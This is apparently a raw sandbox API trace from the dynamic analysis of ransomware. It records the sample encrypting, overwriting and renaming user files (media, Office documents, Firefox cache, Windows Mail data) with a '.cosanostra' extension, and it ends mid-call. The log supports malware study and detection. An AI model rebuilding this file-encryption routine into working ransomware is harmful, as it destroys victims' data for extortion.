(lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\VTsqQ10KfEs84e.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\vtsqq10kfes84e.wav"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\VTsqQ10KfEs84e.wav.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\vtsqq10kfes84e.wav.cosanostra")) returned 1 [0103.495] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df4d8 | out: pbBuffer=0x28df4d8) returned 1 [0103.495] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df4d0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df4d0*=0x30) returned 1 [0103.495] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\UsNO9PfW-D-e.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\usno9pfw-d-e.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0103.496] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\UsNO9PfW-D-e.mp3") returned 69 [0103.496] StrStrW (lpFirst="UsNO9PfW-D-e.mp3", lpSrch=".txt") returned 0x0 [0103.496] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.496] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df494, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df494*=0x2800, lpOverlapped=0x0) returned 1 [0103.497] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.497] WriteFile (in: hFile=0x160, lpBuffer=0x28df4d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df494, lpOverlapped=0x0 | out: lpBuffer=0x28df4d4*, lpNumberOfBytesWritten=0x28df494*=0x4, lpOverlapped=0x0) returned 1 [0103.497] WriteFile (in: hFile=0x160, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df494, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df494*=0x30, lpOverlapped=0x0) returned 1 [0103.497] CloseHandle (hObject=0x160) returned 1 [0103.497] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\UsNO9PfW-D-e.mp3.cosanostra") returned 80 [0103.497] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\UsNO9PfW-D-e.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\usno9pfw-d-e.mp3"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\UsNO9PfW-D-e.mp3.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\usno9pfw-d-e.mp3.cosanostra")) returned 1 [0103.498] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df4d8 | out: pbBuffer=0x28df4d8) returned 1 [0103.498] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df4d0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df4d0*=0x30) returned 1 [0103.498] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TiyL0nT01Rv8ckuFb8MA.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\tiyl0nt01rv8ckufb8ma.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0103.498] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TiyL0nT01Rv8ckuFb8MA.xls") returned 77 [0103.498] StrStrW (lpFirst="TiyL0nT01Rv8ckuFb8MA.xls", lpSrch=".txt") returned 0x0 [0103.499] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.499] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df494, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df494*=0x2800, lpOverlapped=0x0) returned 1 [0103.499] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.499] WriteFile (in: hFile=0x160, lpBuffer=0x28df4d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df494, lpOverlapped=0x0 | out: lpBuffer=0x28df4d4*, lpNumberOfBytesWritten=0x28df494*=0x4, lpOverlapped=0x0) returned 1 [0103.499] WriteFile (in: hFile=0x160, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df494, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df494*=0x30, lpOverlapped=0x0) returned 1 [0103.499] CloseHandle (hObject=0x160) returned 1 [0103.499] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TiyL0nT01Rv8ckuFb8MA.xls.cosanostra") returned 88 [0103.499] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TiyL0nT01Rv8ckuFb8MA.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\tiyl0nt01rv8ckufb8ma.xls"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TiyL0nT01Rv8ckuFb8MA.xls.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\tiyl0nt01rv8ckufb8ma.xls.cosanostra")) returned 1 [0103.500] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df4d0 | out: pbBuffer=0x28df4d0) returned 1 [0103.500] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df4c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df4c8*=0x30) returned 1 [0103.500] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TiPHppZ3.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\tiphppz3.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0103.500] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TiPHppZ3.doc") returned 65 [0103.500] StrStrW (lpFirst="TiPHppZ3.doc", lpSrch=".txt") returned 0x0 [0103.501] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.501] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df48c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df48c*=0x2800, lpOverlapped=0x0) returned 1 [0103.501] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.501] WriteFile (in: hFile=0x160, lpBuffer=0x28df4cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df48c, lpOverlapped=0x0 | out: lpBuffer=0x28df4cc*, lpNumberOfBytesWritten=0x28df48c*=0x4, lpOverlapped=0x0) returned 1 [0103.501] WriteFile (in: hFile=0x160, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df48c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df48c*=0x30, lpOverlapped=0x0) returned 1 [0103.501] CloseHandle (hObject=0x160) returned 1 [0103.502] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TiPHppZ3.doc.cosanostra") returned 76 [0103.502] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TiPHppZ3.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\tiphppz3.doc"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TiPHppZ3.doc.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\tiphppz3.doc.cosanostra")) returned 1 [0103.621] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df4c8 | out: pbBuffer=0x28df4c8) returned 1 [0103.621] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x28df4c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x28df4c0*=0x30) returned 1 [0103.621] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.621] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df4c0 | out: pbBuffer=0x28df4c0) returned 1 [0103.621] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x28df4b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x28df4b8*=0x30) returned 1 [0103.621] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\0 FL6.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\0 fl6.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0103.622] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\0 FL6.pps") returned 62 [0103.622] StrStrW (lpFirst="0 FL6.pps", lpSrch=".txt") returned 0x0 [0103.623] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.623] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df47c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df47c*=0x2800, lpOverlapped=0x0) returned 1 [0103.623] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.623] WriteFile (in: hFile=0x180, lpBuffer=0x28df4bc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df47c, lpOverlapped=0x0 | out: lpBuffer=0x28df4bc*, lpNumberOfBytesWritten=0x28df47c*=0x4, lpOverlapped=0x0) returned 1 [0103.623] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df47c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x28df47c*=0x30, lpOverlapped=0x0) returned 1 [0103.623] CloseHandle (hObject=0x180) returned 1 [0103.623] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\0 FL6.pps.cosanostra") returned 73 [0103.623] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\0 FL6.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\0 fl6.pps"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\0 FL6.pps.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\0 fl6.pps.cosanostra")) returned 1 [0103.625] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df4c0 | out: pbBuffer=0x28df4c0) returned 1 [0103.625] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x28df4b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x28df4b8*=0x30) returned 1 [0103.625] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\-RlBqqU4pPCkOGX.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\-rlbqqu4ppckogx.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0103.625] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\-RlBqqU4pPCkOGX.m4a") returned 72 [0103.625] StrStrW (lpFirst="-RlBqqU4pPCkOGX.m4a", lpSrch=".txt") returned 0x0 [0103.626] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.626] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df47c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df47c*=0x2800, lpOverlapped=0x0) returned 1 [0103.626] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.626] WriteFile (in: hFile=0x180, lpBuffer=0x28df4bc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df47c, lpOverlapped=0x0 | out: lpBuffer=0x28df4bc*, lpNumberOfBytesWritten=0x28df47c*=0x4, lpOverlapped=0x0) returned 1 [0103.626] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df47c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x28df47c*=0x30, lpOverlapped=0x0) returned 1 [0103.626] CloseHandle (hObject=0x180) returned 1 [0103.626] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\-RlBqqU4pPCkOGX.m4a.cosanostra") returned 83 [0103.626] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\-RlBqqU4pPCkOGX.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\-rlbqqu4ppckogx.m4a"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\-RlBqqU4pPCkOGX.m4a.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\-rlbqqu4ppckogx.m4a.cosanostra")) returned 1 [0103.653] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df4a8 | out: pbBuffer=0x28df4a8) returned 1 [0103.654] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df4a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df4a0*=0x30) returned 1 [0103.654] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.status" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates\\0\\update.status"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0103.654] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.status") returned 104 [0103.654] StrStrW (lpFirst="update.status", lpSrch=".txt") returned 0x0 [0103.655] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffffff4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.656] WriteFile (in: hFile=0x160, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x28df464, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df464*=0xc, lpOverlapped=0x0) returned 1 [0103.656] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.656] WriteFile (in: hFile=0x160, lpBuffer=0x28df4a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df464, lpOverlapped=0x0 | out: lpBuffer=0x28df4a4*, lpNumberOfBytesWritten=0x28df464*=0x4, lpOverlapped=0x0) returned 1 [0103.656] WriteFile (in: hFile=0x160, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df464, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df464*=0x30, lpOverlapped=0x0) returned 1 [0103.656] CloseHandle (hObject=0x160) returned 1 [0103.657] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.status.cosanostra") returned 115 [0103.657] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.status" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates\\0\\update.status"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.status.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates\\0\\update.status.cosanostra")) returned 1 [0103.658] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df4a8 | out: pbBuffer=0x28df4a8) returned 1 [0103.658] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df4a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df4a0*=0x30) returned 1 [0103.658] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates\\0\\update.mar"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0103.659] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar") returned 101 [0103.660] StrStrW (lpFirst="update.mar", lpSrch=".txt") returned 0x0 [0103.680] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.680] WriteFile (in: hFile=0x160, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df464, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df464*=0x2800, lpOverlapped=0x0) returned 1 [0103.680] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.680] WriteFile (in: hFile=0x160, lpBuffer=0x28df4a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df464, lpOverlapped=0x0 | out: lpBuffer=0x28df4a4*, lpNumberOfBytesWritten=0x28df464*=0x4, lpOverlapped=0x0) returned 1 [0103.689] WriteFile (in: hFile=0x160, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df464, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df464*=0x30, lpOverlapped=0x0) returned 1 [0103.689] CloseHandle (hObject=0x160) returned 1 [0103.689] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar.cosanostra") returned 112 [0103.689] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates\\0\\update.mar"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates\\0\\update.mar.cosanostra")) returned 1 [0103.748] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df4a0 | out: pbBuffer=0x28df4a0) returned 1 [0103.748] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df498*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df498*=0x30) returned 1 [0103.748] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_001_" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\_cache_001_"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0103.748] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_001_") returned 107 [0103.749] StrStrW (lpFirst="_CACHE_001_", lpSrch=".txt") returned 0x0 [0103.861] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.863] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df45c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df45c*=0x2800, lpOverlapped=0x0) returned 1 [0103.863] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.864] WriteFile (in: hFile=0x160, lpBuffer=0x28df49c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df45c, lpOverlapped=0x0 | out: lpBuffer=0x28df49c*, lpNumberOfBytesWritten=0x28df45c*=0x4, lpOverlapped=0x0) returned 1 [0104.056] WriteFile (in: hFile=0x160, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df45c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df45c*=0x30, lpOverlapped=0x0) returned 1 [0104.056] CloseHandle (hObject=0x160) returned 1 [0104.056] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_001_.cosanostra") returned 118 [0104.057] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_001_" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\_cache_001_"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_001_.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\_cache_001_.cosanostra")) returned 1 [0104.057] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df4a0 | out: pbBuffer=0x28df4a0) returned 1 [0104.058] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df498*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df498*=0x30) returned 1 [0104.058] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00001.jrs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edbres00001.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0104.058] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00001.jrs") returned 86 [0104.058] StrStrW (lpFirst="edbres00001.jrs", lpSrch=".txt") returned 0x0 [0104.060] SetFilePointerEx (in: hFile=0x160, 